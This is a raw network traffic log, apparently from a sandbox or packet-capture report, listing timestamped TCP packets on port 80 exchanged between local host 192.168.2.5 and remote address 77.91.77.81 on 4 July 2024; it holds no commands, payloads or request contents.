Jul 4, 2024 22:20:38.733104944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733114004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733124018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733134031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733160019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733185053 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733196020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733232975 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733309984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733319998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733335018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733345032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733354092 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733354092 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733381987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733407021 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733421087 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733469963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733479023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733515024 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733549118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733563900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733573914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733594894 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733611107 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733728886 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733740091 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733748913 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733760118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733769894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733774900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733778954 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733779907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733793020 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733793020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733824015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733854055 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733962059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734004021 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734035969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734046936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734055996 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734078884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734097958 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734169006 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734180927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734190941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734200001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734205008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734215975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734217882 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734246016 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734262943 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734311104 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734354019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734415054 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734428883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734440088 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734451056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734452009 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734462976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734473944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734474897 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734483004 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734484911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734513044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734532118 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734728098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734738111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734747887 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734757900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734770060 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.734787941 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.734817028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.735352039 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735363007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735371113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735382080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735392094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735402107 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735403061 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.735414982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735425949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735425949 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.735435963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735447884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735449076 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.735460043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735462904 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.735467911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735479116 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.735488892 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.735508919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.735532999 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764084101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764092922 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764134884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764167070 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764188051 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764241934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764250994 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764261007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764292002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764317036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764327049 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764334917 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764374018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764374971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764385939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764422894 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764436007 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764477968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764492035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764503002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764532089 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764532089 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764548063 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764615059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764627934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764637947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764651060 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764662027 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764688015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764770985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764780998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764791012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764801979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764812946 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764815092 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764832020 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764857054 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764889956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764931917 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.764951944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.764998913 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.765021086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.765032053 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.765041113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.765053034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.765065908 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.765094042 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.765117884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.765149117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.765160084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.765170097 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.765196085 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808089018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808152914 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808187962 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808197975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808233023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808267117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808279037 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808288097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808301926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808314085 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808335066 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808361053 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808471918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808487892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808499098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808510065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808521032 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808521986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808537006 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808630943 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808655024 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808665991 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808676004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.808698893 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.808721066 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.809668064 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.809760094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.809762001 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.809792995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.809798002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.809829950 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.809860945 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.809873104 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.809884071 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.809912920 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.809926987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.809957981 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.809969902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.810003042 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.822952032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823014021 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823023081 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823034048 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823059082 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823065042 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823086023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823098898 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823117971 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823131084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823141098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823152065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823163033 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823189020 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823348999 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823359013 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823369026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823379993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823391914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823395967 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823405981 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823419094 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823431015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823472023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823554993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823569059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823579073 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823590040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823601961 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823618889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823647976 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823719025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823729992 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823740959 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823750973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823757887 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823771000 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823796988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823880911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823892117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823903084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.823930979 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.823945045 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824027061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824038029 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824048042 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824059010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824069977 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824071884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824110031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824162006 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824207067 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824219942 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824232101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824246883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824259996 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824280977 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824294090 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824351072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824393988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824469090 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824484110 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824495077 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824506044 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824518919 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824518919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824528933 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824532986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824544907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824568033 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824583054 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824645042 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824687958 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824726105 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824737072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824748039 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824759960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824770927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824770927 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824804068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824816942 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.824934006 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824945927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824959040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824969053 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.824978113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825031996 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825031996 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825051069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825079918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825090885 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825128078 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825160027 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825175047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825186968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825197935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825198889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825210094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825223923 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825232983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825253010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825264931 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825455904 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825465918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825475931 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825486898 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.825505972 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.825541019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854170084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854204893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854213953 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854252100 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854262114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854274988 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854310989 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854355097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854367018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854372025 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854399920 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854427099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854446888 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854460955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854470015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854500055 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854604959 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854615927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854620934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854630947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854656935 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854676962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854681969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854721069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854779959 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854790926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854803085 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854813099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854826927 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854840994 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854898930 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854912996 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854923010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854933023 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854943991 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.854960918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.854990005 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.855027914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.855072021 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.855079889 CEST	80	49711	77.91.77.81	192.168.2.5
